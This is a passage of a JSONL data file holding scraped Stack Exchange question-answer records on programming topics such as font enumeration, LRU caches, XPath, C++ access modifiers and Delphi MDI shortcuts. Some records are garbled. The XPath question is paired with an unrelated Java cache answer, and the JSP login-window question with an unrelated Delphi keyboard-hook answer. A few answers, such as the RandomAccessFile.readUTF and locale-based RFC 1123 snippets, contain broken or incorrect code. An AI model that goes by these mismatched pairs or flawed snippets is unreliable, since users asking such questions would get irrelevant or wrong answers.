"https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:44.256221"}
{"id": "hf_f8b262c1cc8d", "question": "<p>I'm wondering if there are any simple ways to get a list of all fixed-width (monospaced) fonts installed on a user's system in C#?</p>\n\n<p>I'm using .net 3.5 so have access to the WPF System.Windows.Media namespace and LINQ to get font information, but I'm not sure what I'm looking for.</p>\n\n<p>I want to be able to provide a filtered list of monospaced fonts and/or pick out monospaced fonts from a larger list of fonts (as seen in the VS options dialog).</p>\n", "question_body": "", "answer": "AFAIK you can't do it using BCL libraries only. You have to use WinAPI interop.\nYou need to analyze 2 lowest bits of\nLOGFONT\n.lfPitchAndFamily member. There is a constant FIXED_PITCH (means that font is fixed-width) that can be used as a bit mask for lfPitchAndFamily.\nHere is a useful article:\nEnumerating Fonts\nEnumerating fonts can be a little\n  confusing, and unless you want to\n  enumerate all fonts on your system,\n  can be a little more difficult than\n  MSDN suggests. This article will\n  explain exactly the steps you need to\n  use to find every fixed-width font on\n  your system, and also enumerate every\n  possible size for each individual\n  font.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:44.304644"}
{"id": "hf_3bd89770dde1", "question": "<p>I know it's simple to implement, but I want to reuse something that already exist.</p>\n\n<p>Problem I want to solve is that I load configuration (from XML so I want to cache them) for different pages, roles, ... so the combination of inputs can grow quite much (but in 99% will not). To handle this 1%, I want to have some max number of items in cache...</p>\n\n<p>Till know I have found org.apache.commons.collections.map.LRUMap in apache commons and it looks fine but want to check also something else. Any recommendations?</p>\n", "question_body": "", "answer": "You can use a\nLinkedHashMap\n(Java 1.4+) :\n```\n```\n// Create cache\nfinal int MAX_ENTRIES = 100;\nMap cache = new LinkedHashMap(MAX_ENTRIES+1, .75F, true) {\n    // This method is called just after a new entry has been added\n    public boolean removeEldestEntry(Map.Entry eldest) {\n        return size() > MAX_ENTRIES;\n    }\n};\n\n// Add to cache\nObject key = \"key\";\ncache.put(key, object);\n\n// Get object\nObject o = cache.get(key);\nif (o == null && !cache.containsKey(key)) {\n    // Object not in cache. If null is not a possible value in the cache,\n    // the call to cache.contains(key) is not needed\n}\n\n// If the cache is to be used by multiple threads,\n// the cache must be wrapped with code to synchronize the methods\ncache = (Map)Collections.synchronizedMap(cache);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:44.328704"}
{"id": "hf_74c6ab163511", "question": "<p>Is it possible to do the equivalent of the following in xslt:</p>\n\n<pre><code>.//TagA[./TagB/[@AttrA='AttrAValue'] = 'TagBValue']\n</code></pre>\n\n<p>This is failing within Visual Studio 2008 with the following error:</p>\n\n<pre><code>error: Unexpected token '[' in the expression.\n.//TagA[./TagB/ --&gt;[&lt;-- @AttrA='AttrAValue'] = 'TagBValue']\n</code></pre>\n\n<p>Should this be working? Is this a problem in the MS implementation of XSLT, or is there a way I can get all TagA nodes that have a TagB node whose AttrA is equal to AttrAValue and whose TagB innerText is equal to TagBValue.</p>\n", "question_body": "", "answer": "You can use a\nLinkedHashMap\n(Java 1.4+) :\n```\n```\n// Create cache\nfinal int MAX_ENTRIES = 100;\nMap cache = new LinkedHashMap(MAX_ENTRIES+1, .75F, true) {\n    // This method is called just after a new entry has been added\n    public boolean removeEldestEntry(Map.Entry eldest) {\n        return size() > MAX_ENTRIES;\n    }\n};\n\n// Add to cache\nObject key = \"key\";\ncache.put(key, object);\n\n// Get object\nObject o = cache.get(key);\nif (o == null && !cache.containsKey(key)) {\n    // Object not in cache. If null is not a possible value in the cache,\n    // the call to cache.contains(key) is not needed\n}\n\n// If the cache is to be used by multiple threads,\n// the cache must be wrapped with code to synchronize the methods\ncache = (Map)Collections.synchronizedMap(cache);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:44.352923"}
{"id": "hf_26f49fcb5472", "question": "<p>What is the best way to find out whether two number ranges intersect?</p>\n\n<p>My number range is <strong>3023-7430</strong>, now I want to test which of the following number ranges intersect with it: &lt;3000, 3000-6000, 6000-8000, 8000-10000, >10000. The answer should be <strong>3000-6000</strong> and <strong>6000-8000</strong>.</p>\n\n<p>What's the nice, efficient mathematical way to do this in any programming language?</p>\n", "question_body": "", "answer": "Just a pseudo code guess:\n```\n```\nSet<Range> determineIntersectedRanges(Range range, Set<Range> setofRangesToTest)\n{\n  Set<Range> results;\n  foreach (rangeToTest in setofRangesToTest)\n  do\n    if (rangeToTest.end <range.start) continue; // skip this one, its below our range\n    if (rangeToTest.start >range.end) continue; // skip this one, its above our range\n    results.add(rangeToTest);\n  done\n  return results;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:44.377322"}
{"id": "hf_290395ef7a7e", "question": "<p>for example, I have the following xml document:</p>\n\n<pre><code>def CAR_RECORDS = '''\n    &lt;records&gt;\n      &lt;car name='HSV Maloo' make='Holden' year='2006'/&gt;\n      &lt;car name='P50' make='Peel' year='1962'/&gt;\n      &lt;car name='Royale' make='Bugatti' year='1931'/&gt;\n    &lt;/records&gt;\n'''\n</code></pre>\n\n<p>and I want to move the car \"Royale\" up to first one, and insert a new car just after car\"HSV Maloo\", the result would be:</p>\n\n<pre><code>'''\n    &lt;records&gt;\n      &lt;car name='Royale' make='Bugatti' year='1931'/&gt;\n      &lt;car name='HSV Maloo' make='Holden' year='2006'/&gt;\n      &lt;car name='My New Car' make='Peel' year='1962'/&gt;\n      &lt;car name='P50' make='Peel' year='1962'/&gt;\n    &lt;/records&gt;\n'''\n</code></pre>\n\n<p>How to do it with Groovy? comments are welcome.</p>\n", "question_body": "", "answer": "<hand-wave>\nthese are not the codz you seek\n</hand-wave>\n```\n```\nNode root = new XmlParser().parseText(CAR_RECORDS)\nNodeList carNodes = root.car\nNode royale = carNodes[2]\ncarNodes.remove(royale)\ncarNodes.add(0, royale)\ncarNodes.add(2, new Node(root, 'car', [name:'My New Card', make:'Peel', year:'1962']))\n```\n```\nI don't know if there's a smarter way to create new nodes... but that works for me.\nEDIT: uhg... thanks guys... I got lazy and was printing carNodes when i tested this instead of the root... yikes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:44.401643"}
{"id": "hf_fe9278b42c6d", "question": "<p>Imagine you're creating a presentation that will be translated into a dozen different languages, including ones with non-latin characters (Chinese, for instance). The client's branding style guide dictates that certain fonts are acceptable for certain languages. The content itself is required to be externalized, so that the text can be replaced without ever opening a .fla, or re-saving a graphic.</p>\n\n<p>So we're talking dynamic TextField s, populated from XML, with the font swapped out to accommodate the viewer's locale - what's the most painless way to dynamically load only the fonts required (regardless of the filesize), and apply them as necessary? I'm looking for solutions using <strong>Flash only, not Flex</strong>.</p>\n", "question_body": "", "answer": "Well, you'll some how have to know what language you're loading. Autodetection can be quite difficult.\nAssuming you know what language the content is you can register fonts to be used in runtime using\nFont.registerFont()\n; With this you can load a swf that contains a font, register it, and it's available for future use in all textfields.\nprint(\"code sample\");\n```\n```\n[Embed(src=\"someFont.ttf\", fontFamily=\"myFont\", mimeType=\"application/x-font\")]\nprivate var fontClass:Class;\n\n...\n\nFont.registerFont(fontClass);\n```\n```\nNote that you'll have to compile using the flex compiler to support the Embed tag.\nA good utility in addition is\nFont.hasGlyphs()\n, which you can use to check if the characters you are using are available in an embedded fonts. This can be used to either jump back to a system font or display a warning to you as the developer (if you forgot some characters or whatever). Subclassing TextField to do this check automatically may be a good idea.\nIf this is going to be online, in general embedding Chinese is something you should think about twice. Embedding all characters will increase the filesize\na lot\nand afaik there aren't that many complete Chinese fonts available anyway. The technique above is of course still useful for many other languages.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:44.425801"}
{"id": "hf_a768465021ff", "question": "<p>What ist most concise way to read the contents of a file or input stream in Java? Do I always have to create a buffer, read (at most) line by line and so on or is there a more concise way? I wish I could do just</p>\n\n<pre><code>String content = new File(\"test.txt\").readFully();\n</code></pre>\n", "question_body": "", "answer": "```\n```\nString content = (new RandomAccessFile(new File(\"test.txt\"))).readUTF();\n```\n```\nUnfortunately Java is very picky about the source file being valid UTF8 though, or you will get an EOFException or UTFDataFormatException.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:44.487171"}
{"id": "hf_5bedb32f4103", "question": "<p>What is the difference between <code>private</code> and <code>protected</code> members in C++ classes?</p>\n<p>I understand from best practice conventions that variables and functions which are not called outside the class should be made <code>private</code>—but looking at my MFC project, MFC seems to favor <code>protected</code>.</p>\n<p>What's the difference and which should I use?</p>\n", "question_body": "", "answer": "Private members are only accessible within the class defining them.\nProtected members are accessible in the class that defines them and in classes that inherit from that class.\nEdit: Both are also accessible by friends of their class, and in the case of protected members, by friends of their derived classes.\nEdit 2: Use whatever makes sense in the context of your problem. You should try to make members private whenever you can to reduce coupling and protect the implementation of the base class, but if that's not possible then use protected members. Check\nC++ FAQ\nfor a better understanding of the issue.\nThis question about protected variables\nmight also help.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:44.511483"}
{"id": "hf_83300f72ee3d", "question": "<p>I have a string (char) and I want to extract numbers out of it.</p>\n\n<p>So I have string: <code>1 2 3 4 /0</code><br>\nAnd now I want some variables, so I can use them as integer: <code>a=1, a=2, a=3, a=4</code></p>\n\n<p>How can I do that?</p>\n", "question_body": "", "answer": "sscanf() can do that.\n```\n```\n#include <stdio.h>\n\nint main(void)\n{\n  int a, b, c, d;\n  sscanf(\"1 2 3 4\", \"%d %d %d %d\", &a, &b, &c, &d);\n  printf(\"%d,%d,%d,%d\\n\", a, b, c, d);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:44.539346"}
{"id": "hf_1a617118d94b", "question": "<p>What is the \"canonical\" way to access the MessageContext from a PayloadEndpoint?</p>\n\n<p>We are using <a href=\"http://static.springframework.org/spring-ws/sites/1.5/apidocs/org/springframework/ws/server/endpoint/PayloadEndpoint.html\" rel=\"nofollow noreferrer\">PayloadEndpoint</a> and <a href=\"http://static.springframework.org/spring-ws/sites/1.5/apidocs/org/springframework/ws/server/endpoint/AbstractMarshallingPayloadEndpoint.html\" rel=\"nofollow noreferrer\">AbstractMarshallingPayloadEndpoint</a> which do not expose the MessageContext to their invoke / invokeinternal methods, but will now need to access the HTTP request parameters.</p>\n", "question_body": "", "answer": "Easiest way I can think of: create a 'wrapper' endpoint which implements\nMessageEndpoint\n. Then you can extract your request parameters and pass them down to your actual endpoint.\nYou could store the request variables in a ThreadLocal so the original endpoint can access them.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:44.576324"}
{"id": "hf_91e855e4fcc6", "question": "<p>When debugging in Internet Explorer, I first get an alert box with extremely limited if not useless information (sorry IE) and choose to debug it. After selecting yes, I get another option <em>every time</em> to choose between 'New instance of Microsoft script debugger' and 'New instance of Visual Studio'. I'm fed up with having to click the yes button again after having clicked it once already on the alert box.</p>\n<p>Update: I found that you can disable the Microsoft script debugger from within its own options; just disabling the JIT debugger from Tools -&gt; Options, and JIT. This stops it appearing on the menu but now I get the dialog box asking me which one to choose and it only displays the Visual Studio - WHY? If there's only one option and you've already asked me if I want to debug, why ask again?!?! Bleh.</p>\n<p>Can you tell I'm getting sick of clicking, &quot;yes&quot; twice? Lol.</p>\n", "question_body": "", "answer": "Maybe not the complete solution, but you could try to set the default script debugger can be set\nin the registry\ndirectly. To do so, follow these steps:\nClick Start, Run and type regedit.exe\nNavigate to the following branch:\nHKEY_CLASSES_ROOT \\ CLSID \\ {834128A2-51F4-11D0-8F20-00805F2CD064} \\ LocalServer32\nBackup the branch by exporting it to a file\nIn the above key, double-click (default) and set its value data to:\n\"C:\\Program Files\\Microsoft Visual Studio 9.0\\Common7\\IDE\\devenv.exe\"\n(or whatever your path to devenv.exe is)\nExit the Registry Editor.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:44.612467"}
{"id": "hf_e51df0231dd4", "question": "<p>I am using a native library which returns an IntPtr to a memory location, which contains the value of an attribute.  I know what the type of the attribute is and I have a method for marshalling a value (taking the IntPtr and the type of the attribute) from the memory pointed at by the pointer.  This method either calls Marshal.ReadInt32, or reads a series of bytes and converts them to a double, or reads a string with Marshal.PtrToStringUni etc etc.  I would like to write some unit tests for this method but am not sure how I go about creating the IntPtr to pass to the method.  I'm using NUnit and cannot use a mocking framework.</p>\n", "question_body": "", "answer": "If I understood correctly, you want to unit-test your logic of deserializing, given an IntPtr.\nIf that is the case, all you have to do is have copies of the different combinations of serialized output to test each unique path. For each test, obtain the IntPtr to a possible serialized entity, call your method and verify expected results.\nSomething like obtaining pointers to an area in memory. Hold the serialized output in a string and obtain an Intptr from it.  GCHandle looks like something you need here. (never tried this though)\nhttp://msdn.microsoft.com/en-us/library/system.runtime.interopservices.gchandle.tointptr.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:44.640862"}
{"id": "hf_03089346dc0d", "question": "<p>I'm currently looking for a possibility in Java to identify a font as symbolic like OpenOffice does.\nCharacters with the font Windings or Webdings and so on should be rendered with the correct \"pictures\".</p>\n\n<p>Anyone an idea how to distinguish between normal fonts and fonts with symbols?</p>\n", "question_body": "", "answer": "The bug\nJava doesn't display all characters in the windows symbol font\ngives a clue regarding a characteristic which is unique to symbol fonts.\nThey are part of\nSYMBOL_CHARSET\n(a WindowsCharsetName of a font.properties file)\nSo the [jdk1.6.0_10]\\jre\\lib\\fontconfig.98.properties.src could be a first source of information to establish if a name of a font matches a symbol font, and should be loaded through\nProperty.load()\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:44.664166"}
{"id": "hf_077812f5e450", "question": "<p>Is this possible? I am looking forward to a tutorial which explains the steps to achieve this.</p>\n", "question_body": "", "answer": "TestDriven.NET\nhas the ability to test (NUnit/MSTest/etc) with Team Coverage (which you already have since you have Team System : Dev).\nWalkthrough:\nhere\n(you also get the coverage results window for looking at the coverage per method) - but this says it all:\n(source:\nmutantdesign.co.uk\n)\nYou can use NUnit tests, but use the MS IDE integration for colorization, percentagaes, etc (no need for NCover). I use this all the time ;-p\nThe advantages are:\nno need to set up a \"Test Run Configuration\" (sorry, MSFT, but an own-goal there)\nfully integrated with VS (Code Coverage Results and Coloring)\neasy to use (just right-click -> Test With -> Team Coverage)\neasy to debug too (right-click -> Test With -> Debugger)\neasy to use the separate NUnit/NCover apps if you want  (right-click etc)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:44.687489"}
{"id": "hf_3b5c3f472344", "question": "<p>I've been reading up on conditional-style expressions in ruby. However I came across one I couldn't quite understand to define the classic FizzBuzz problem. I understand the FizzBuzz problem and even wrote my own before finding the following quick solution utilising the ternary operator. If someone can explain to me how this chain works to satisfy the FizzBuzz problem it would be very much appreciated :)</p>\n\n<pre><code>for i in 0...100\n  puts i%3==0 ? i%5==0 ? \"FizzBuzz\" : \"Buzz\" : i%5==0 ? \"Fizz\" : i\nend\n</code></pre>\n", "question_body": "", "answer": "Some parentheses might help:\n```\n```\nputs (i%3 == 0) ? ((i%5 == 0) ? \"FizzBuzz\" : \"Buzz\") : ((i%5 == 0) ? \"Fizz\" : i)\n```\n```\nSo, if i is divisible by 3, then it checks whether i is also divisible by 5. If so, it prints \"FizzBuzz\" otherwise just \"Buzz\". If i is not divisible by three, then it checks divisibility by 5 again and prints \"Fizz\" if so, otherwise just i.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:44.711416"}
{"id": "hf_9966c48af304", "question": "<p>How do I get the KeyDown event to work in a Delphi (2007) MDI Applications Parent window, even if a Child window  has focus?</p>\n\n<p>I would like to implement a shortcut key (F1) that brings up a help screen in a MDI application, I have added the KeyDown procedure to the MDI Parent window and enabled KeyPreview in both the Parent and Child windows, but it does not work as expected.</p>\n\n<p>If I put a break point in the Parents KeyDown code I can see it never executes, even it there are no child windows open. But if I add the same code to the child window it works fine.</p>\n\n<p>Is there a way to get the parent window to receive the key presses, even if the child window has focus, as adding the code to 25+ forms seams a little wasteful?</p>\n", "question_body": "", "answer": "You could use a local (global is not needed)\nkeyboard hook\n. You could also derive all your MDI Child forms from a signle form base class and implement it there once. You will find that this design comes in handy for other problems as well.\nedit\nApplication wide hotkeys/shortcuts can also be implemented with the TApplication.OnShortCut event. See\nhttp://delphi.about.com/od/adptips2004/a/bltip0904_3.htm\nF1 is already the standard help shortcut which triggers TApplication.OnHelp. So maybe you want to use the OnHelp event? And if you use the HelpFile, HelpContext, HelpType and HelpKeyword properties you probably don't even need to implement any code at all.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:44.735797"}
{"id": "hf_9059c4f26998", "question": "<p>I am making an web based appliaction in java (using jsp). When the appliaction is invoked login page will come, when the user enter the valid credientials, he will be taken to the index page. But the problem is, when the login is success, the index page is coming but it is opening behind the login page. (means login page appears on the top of the monitor, I want index page should appear on the top of the window.) Can anyone help me out in this...Please</p>\n", "question_body": "", "answer": "You could use a local (global is not needed)\nkeyboard hook\n. You could also derive all your MDI Child forms from a signle form base class and implement it there once. You will find that this design comes in handy for other problems as well.\nedit\nApplication wide hotkeys/shortcuts can also be implemented with the TApplication.OnShortCut event. See\nhttp://delphi.about.com/od/adptips2004/a/bltip0904_3.htm\nF1 is already the standard help shortcut which triggers TApplication.OnHelp. So maybe you want to use the OnHelp event? And if you use the HelpFile, HelpContext, HelpType and HelpKeyword properties you probably don't even need to implement any code at all.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:44.760453"}
{"id": "hf_a6e50a913732", "question": "<p>Is there a fairly easy way to convert a datetime object into an RFC 1123 (HTTP/1.1) date/time string, i.e. a string with the format</p>\n\n<pre><code>Sun, 06 Nov 1994 08:49:37 GMT\n</code></pre>\n\n<p>Using <code>strftime</code> does not work, since the strings are locale-dependant. Do I have to build the string by hand?</p>\n", "question_body": "", "answer": "You can set LC_TIME to force stftime() to use a specific locale:\n```\n```\n>>> locale.setlocale(locale.LC_TIME, 'en_US')\n'en_US'\n>>> datetime.datetime.now().strftime(locale.nl_langinfo(locale.D_T_FMT))\n'Wed 22 Oct 2008 06:05:39 AM '\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:44.824354"}
{"id": "hf_349adcb46995", "question": "<p>Why can't we initialize members inside a structure ?</p>\n\n<p>example:</p>\n\n<pre><code>struct s {\n   int i = 10;\n};\n</code></pre>\n", "question_body": "", "answer": "If you want to initialize\nnon-static\nmembers in\n```\nstruct\n```\ndeclaration\n:\nIn C++ (not C),\n```\nstructs\n```\nare almost synonymous to classes and can have members initialized in the constructor.\n```\n```\nstruct s {\n    int i;\n\n    s(): i(10)\n    {\n    }\n};\n```\n```\nIf you want to initialize an\ninstance\n:\nIn C or C++:\n```\n```\nstruct s {\n    int i;\n};\n\n...\n\nstruct s s_instance = { 10 };\n```\n```\nC99 also has a feature called designated initializers:\n```\n```\nstruct s {\n    int i;\n};\n\n...\n\nstruct s s_instance = {\n    .i = 10,\n};\n```\n```\nThere is also a GNU C extension which is very similar to C99 designated initializers, but it's better to use something more portable:\n```\n```\nstruct s s_instance = {\n    i: 10,\n};\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:44.860588"}
{"id": "hf_7eac54e61fd1", "question": "<p>I'm starting to look into the whole world of RJS and Prototype/jQuery in Rails and am a little bit confused. There seems to be no clear line of where to use one or the other.</p>\n\n<p>Say I wanted one of the \"Active, Hot, Week\" tabs like the ones here on SO. When pressing one of them, I want to remove a CSS class (like \"active-tab\") from the one I was on and add it to the one I clicked on. Then I also want to reload the div containing the items and put in the new items into it.</p>\n\n<p>Seems the class-changing thing would be easiest to do in pure javascript, say put the code in application.js and then updating the div with the content would obviously be easiest in RJS. But what <em>should</em> one do?</p>\n", "question_body": "", "answer": "If you want to give users that ability to link to the generated page directly, then definitly go for a static page. Using AJAX breaks the back button unless you use something like\nReally Simple History\n(\nwhich is not 100% cross browser\n), so\ngoing the JS route with your page navigation\nwill almost certainly cause some of your users problems.\nThat said, what you have discussed already would be fine, I think - just have a class change in your RJS file, then you might even find it useful to update the div contents using page.replace and a partial:\n```\n```\npage.replace(dom_id, :partial => @page_content);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:44.884279"}
{"id": "hf_88e76ebf9d3b", "question": "<pre><code>&lt;td title=\"this is a really long line that I'm going to truncate\"&gt;this is a really long line that I'm going to trunc ...&lt;/td&gt;\n</code></pre>\n\n<p>Is this the correct way to do it?</p>\n", "question_body": "", "answer": "Yes, that's how you supposed to assign tooltips to html elements. I wouldn't use it on <td> though. Although I haven't tested it, I have the feeling that you might run into issues on some browsers if you use it on table rows/cells directly since these elements have somewhat different behaviour from other elements. You should rather  use it on more \"regular\" elements, for example <div>, <span>, <img>  or <input>.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:44.917867"}
{"id": "hf_32232c1ea42d", "question": "<p>We are team of few Delphi developers who have been using VSS since years (I know it's a pity), but we don't use any of the advanced features of VCS, so it was working fine in many cases (but some times it was driving me crazy :( ).</p>\n\n<p>The good thing that we have with  VSS that we use third-party plug-ins to integrate VSS with Delphi, which is working great, but now when our projects becomes larger, and we would like to move a way from VSS.</p>\n\n<p>I have looked at few other VCS (free and commercial) and found most of them seems be made for Linux guys, and you have to use command line for many admin work(I know I'm windows guy :P).</p>\n\n<p>What I'm looking for the new Version control that it should be easy to use and to maintain and Integrated nicely with Delphi IDE (D2007), or at least have a good UI for the Admins an developers.</p>\n", "question_body": "", "answer": "Just use\nSVN\nand an excellent\nTortoiseSVN\nclient which integrates with the Windows Explorer.\nP.S. Found this question:\nWhat is the best set of tools to develop Win32 Delphi applications?\nand this Delphi IDE/TortoiseSVN integration tools in one of the answers:\nhttp://delphiaddinfortortoisesvn.tigris.org/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:44.939952"}
{"id": "hf_1a65e8c81ff2", "question": "<p>I'm tryint to post to a ADO.NET Data Service but the parameters seems to get lost along the way.</p>\n\n<p>I got something like:</p>\n\n<pre><code>[WebInvoke(Method=\"POST\")]\npublic int MyMethod(int foo, string bar) {...}\n</code></pre>\n\n<p>and I make an ajax-call using prototype.js as:</p>\n\n<pre><code>var args = {foo: 4, bar: \"'test'\"};\nnew Ajax.Requst(baseurl + 'MyMethod',\n  method: 'POST',\n  parameters: args,\n  onSuccess: jadda,\n  onFailure: jidda\n}\n</code></pre>\n\n<p>If I replace \"method: 'POST'\" with \"method: 'GET'\" and \"WebInvoke(Method=\"POST\")\" with \"WebGet\" everything works but now (using post) all I get is:</p>\n\n<blockquote>\n  <p>Bad Request - Error in query syntax.</p>\n</blockquote>\n\n<p>from the service.</p>\n\n<p>The only fix (that I don't want to use) is to send all parameters in the URL even when I perform a post. Any ideas are welcome. </p>\n", "question_body": "", "answer": "If you want to use POST, you need to specify the parameters to be wrapped in the request in WebInvoke attribute unless the parameters contains on object (e.g. message contract). This makes sense since there is no way to serialize the parameters without wrapped in either json or xml.\nUnwrapped which is not XML indeed as missing root element\n```\n```\n<foo>1</foo>\n<bar>abc</bar>\n```\n```\nWrapped, valid XML\n```\n```\n<Request>\n   <foo>1</foo>\n   <bar>abc</bar>\n</Request>\n```\n```\nThis sample also applies to JSON", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:44.973853"}
{"id": "hf_b753e8b8a3eb", "question": "<p>I recently upgraded a c# windows service to run as a 64 bit .net process. Normally, this would be trivial, but the system makes use of a 32-bit DLL written in C++. It is not an option to convert this DLL to 64 bit, so I wrapped the DLL in a separate 32 bit .net process and exposed a .net interface via remoting.</p>\n\n<p>This is quite a reliable solution, but I would prefer to run the system as a single process. Is there any way I can load my 32 bit DLL into a 64 bit process and access it directly (perhaps through some sort of thunking layer)?</p>\n", "question_body": "", "answer": "No, you can't.\nBoth 16-bit and 32-bit Windows lived in a 32-bit linear address space. The terms 16 and 32 refer to the size of the offset relative to the selector.\n...\nFirst, notice that a full-sized 16-bit pointer and a 32-bit flat pointer are the same size. The value 0x0123:0x467 requires 32 bits, and wow, so too does a 32-bit pointer. This means that data structures containing pointers do not change size between their 16-bit and 32-bit counterparts. A very handy coincidence.\nNeither of these two observations holds true for 32-bit to 64-bit thunking. The size of the pointer has changed, which means that converting a 32-bit structure to a 64-bit structure and vice versa changes the size of the structure\n. And the 64-bit address space is four billion times larger than the 32-bit address space. If there is some memory in the 64-bit address space at offset 0x000006fb`01234567, 32-bit code will be unable to access it. It's not like you can build a temporary address window, because 32-bit flat code doesn't know about these temporary address windows; they abandoned selectors, remember?\nhttp://blogs.msdn.com/oldnewthing/archive/2008/10/20/9006720.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:45.020543"}
